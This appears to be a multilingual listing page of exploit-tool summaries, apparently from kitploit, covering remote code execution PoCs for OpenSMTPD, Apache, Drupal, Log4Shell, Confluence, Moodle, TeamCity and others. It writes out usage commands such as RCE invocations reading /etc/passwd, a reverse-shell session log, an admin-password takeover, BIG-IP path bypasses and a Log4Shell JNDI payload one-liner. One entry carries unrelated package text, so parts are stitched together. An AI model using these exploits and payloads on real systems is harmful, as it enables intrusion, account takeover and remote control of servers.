CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 원격 코드 실행 PoC 익스플로잇 참고: https://www.openwall.com/lists/oss-security/2020/01/28/3 사용법 root@kitploit: python3 exploit.py 의존성 root@kitploit: pip3 install --user pwntools...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE アップデート: /hsqldb%0a/ を使用したバイパスルール Java デシリアライゼーション用 または /hsqld%b /hsqldb; root@kitploit: /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution

Apache HTTP-서버 2.4.49-2.4.50 경로 탐색 및 원격 코드 실행 설명 이것은 CVE-2021-41773 및 CVE-2021-42013에 대한 PoC 스크립트입니다. 사용법: root@kitploit: python3 exploit.py | 예시: 원격 코드 실행 root@kitploit: python3 exploit.py 127.0.0.1 8080 rce 'id' 경로 탐색 root@kitploit: python3 exploit.py 127.0.0.1 8080 file '/etc/passwd'...

nmap-spring4shell

Nmap-spring4shell Log4shell-nmap は、HTTPサービスにおけるSpring4Shell RCE脆弱性（CVE-2022-22965）を検出するためのNSEスクリプトです。このスクリプトは、アプリケーションに正しいペイロードを注入し、指定されたエンドポイントで以下のコマンドを実行します。 脆弱性 ここを参照してください。 使用方法 root@kitploit: ┌──kali㉿kali-/nmap-spring4shell └─$ nmap 127.0.0.1 --script=./spring4shell.nse ... PORT STATE SERVIC...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day 원격 PHP 코드 실행 Perl 이것은 Drupal CMS의 0day RCE 익스플로잇입니다. 서버에 페이로드를 업로드할 수 있습니다. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 익스플로잇 실행 방법 : 1-git clone https://github.com/dr-iman/CVE-2018-7600-Drupal-0day-RCE.git 2-ActivePerl을...

CVE-2021-44228

Log4Shell POC CVE-2021-44228 이 저장소의 목적은 CVE-2021-44228 별명 Log4Shell을 익스플로잇하는 데 필요한 모든 구성 요소를 제공하고, 이를 악용하는 방법을 보여주는 것입니다. 이 취약점을 악용하는 데 필요한 요소는 다음과 같습니다: 1. 취약한 애플리케이션을 익스플로잇으로 리다이렉트할 LDAP 서버 2. 취약한 Log4J 버전을 사용하는 취약한 애플리케이션 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션 3. 취약한 애플리케이션에 의해 로드될 Java...

CVE-2025-1302

CVE-2025-1302 ★ CVE-2025-1302 JSONPath-plus RCE PoC ★ https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb 실험실 설정 root@kitploit: docker build -t jsonpath:10.2.0 . docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0 localhost:3000 설명 jsonpath-plus 패키지 10.3.0 미만...

sophucked

sophucked CVE-2020-25223 RCE PoC, 역방향 셸 획득. 사전 인증 없음. 일부 위협 요소를 통합하기 위해 급히 구현했습니다. 예제 사용법: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 포트 80에서 핸들러 시작 + 콜백을 x.x.x.x:80으로 전송 + x.x.x.x에서 연결됨 + 셸 획득! bash: 이 셸에서는 작업 제어 불가 utm:/var/confd unset HISTFILE unset HISTFILE...

CVE-2018-3245

Weblogic-CVE-2018-3245 CVE-2018-3245 0x00 소개 현지 시간 10월 16일, 베이징 시간 10월 17일 새벽, Oracle 공식은 10월3분기 중요 패치 업데이트 CPUCritical Patch Update를 발표했습니다. 이번 업데이트는 7월2분기 CPU 패치에서 완전히 수정되지 않은 CVE-2018-2893 Weblogic 원격 코드 실행 취약점을 수정했으며, 새로 수정된 취약점 번호는 CVE-2018-3245입니다. 해결 방법 Oracle 공식은 이번 중요 패치 업데이트CPU에서 해당 취약점...

Confluence_CVE-2021-26084

ConfluenceCVE-2021-26084 Confluence 서버에서의 원격 코드 실행 : CVE-2021-26084 PoC Confluence 가능한 익스플로잇 엔드포인트 root@kitploit: https:///login https:///pages/templates2/viewpagetemplate.action https:///template/custom/content-editor https:///templates/editor-preload-container...

CVE-2021-42013-Apache-RCE-Poc-Exp

취약점 이름 Apache 원격 코드 실행 CVE-2021-42013 취약점 설명 Apache HTTP Server는 미국 Apache 재단의 오픈 소스 웹 서버입니다. 이 서버는 빠르고 안정적이며 간단한 API를 통해 확장이 가능한 특징을 가지고 있습니다. Apache HTTP Server 2.4.50에서 CVE-2021-41773에 대한 수정이 충분하지 않다는 사실이 발견되었습니다. 공격자는 경로 순회 공격을 사용하여 URL을 유사한 별칭 지시문으로 구성된 디렉토리 외부의 파일에 매핑할 수 있습니다. 이러한 디렉토리 외부 파...

CVE-2021-36394

CVE-2021-36394 테이블 업데이트 또는 관리자 비밀번호 변경: 사용자 지정 코드 $newpassword = "Accounttakedover123"; 그런 다음 실행: $ CVE2021-36394.php http://victim/pathtomoodle 함수 실행 사용자 지정 코드 $function = "header"; $param = "Hacked: by0d0ff9"; 그런 다음 실행: $ CVE2021-36394RCE.php http://victim/pathtomoodle 데모:...

Dolibarr-17.0.0-Exploit-CVE-2023-30253

Readme.md CVE-2023-30253 CVE-2023-30253는 Dolibarr 소프트웨어의 보안 결함으로, 인증된 사용자가 주입된 데이터에서 대문자 변조 기술을 활용하여 원격 코드를 실행할 수 있게 합니다. 영향 이 취약점은 악의적인 공격자에 의한 무단 원격 코드 실행으로 이어질 수 있으며, 영향을 받는 시스템의 보안과 무결성에 심각한 위협을 가합니다. 이 취약점은 Dolibarr 17.0.1에서 수정되었습니다. 참고...

CVE-2024-53900

es-define-property Object.defineProperty, but not IE 8's broken one...

givewp-cve-2026-82222-rce-lab

CVE-2026-82222 — GiveWP マーカーのみのRCE検証ラボ CVE-2026-82222を隔離されたDockerラボで再現・検証するためのセキュリティ研究用マテリアルです。 直接RCE PoCとURLスキャンにはCVE-2026-8222-RCE.py を使用してください 判定 ステータス: 提供されたラボで実証済み GiveWP 4.16.5.1では、初期状態で認証されていない攻撃者がPHPオブジェクトグラフを永続化し、GiveWPのセッション処理を通じてそれを復元し、WordPressのWebサーバーユーザーとして固定マーカーコマンドを実行することが可能です。...

CVE-2019-19609-EXPLOIT

CVE-2019-19609-EXPLOIT CVE-2019-19609 Strapi 3.0.0-beta.17.7 이하 버전에서의 원격 코드 실행에 대한 익스플로잇입니다. 이 취약점이 있는 상황에 직면했지만 공개된 익스플로잇이 없어 직접 만들어서 공유합니다. 설치 root@kitploit: git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT 사용법 root@kitploit: cd CVE-2019-19609-EXPLOIT python exploit.py -d...

The vulnerability of the pg_dump utility in the PostgreSQL database management system allows a hacker to execute arbitrary code.

The vulnerability of the pgdump utility in the PostgreSQL database management system is related to the lack of security measures for SQL query structures. Exploiting this vulnerability allows a malicious actor to execute arbitrary code remotely...

CVE-2019-17633

CVE-2019-17633 Eclipse Che CSRF로 인한 RCE 이 버그는 사용자가 웹 페이지를 방문할 때, 버전 7.3.0 및 7.4.1 이전의 Che를 실행 중인 머신에서 원격 웹사이트가 임의의 도커 컨테이너를 생성하고 시작할 수 있게 합니다. 취약점 이것은 CSRF 버그로, 원격 웹사이트가 독립 실행 모드로 Eclipse Che를 실행하는 모든 사용자의 머신에서 도커 컨테이너를 생성하고 시작할 수 있게 합니다. 공격자가 제어하는 많은 매개변수를 통해 정밀한 수준의 제어가 가능합니다. 일부 개발자는 로컬 도커 컨테이...

CVE-2023-42793

CVE-2023-42793 교육 목적으로만 제공됩니다 CVE-2023-42793용 PoC CVE-2023-42793admin.sh 사용법: root@kitploit: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port 작동 증명: CVE-2023-42793rce.sh 사용법: root@kitploit: chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh ip/domainname port command ...

Log4Shell-Payloads

🚨 Log4Shell 페이로드 컬렉션 Log4Shell / Log4J 익스플로잇 페이로드 의 엄선된 목록으로 다음을 대상으로 합니다: CVE-2021-45046 CVE-2022-42889 🔗 제작: @nav1n0x 🔥 한 줄 페이로드 ✅ 원라이너 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...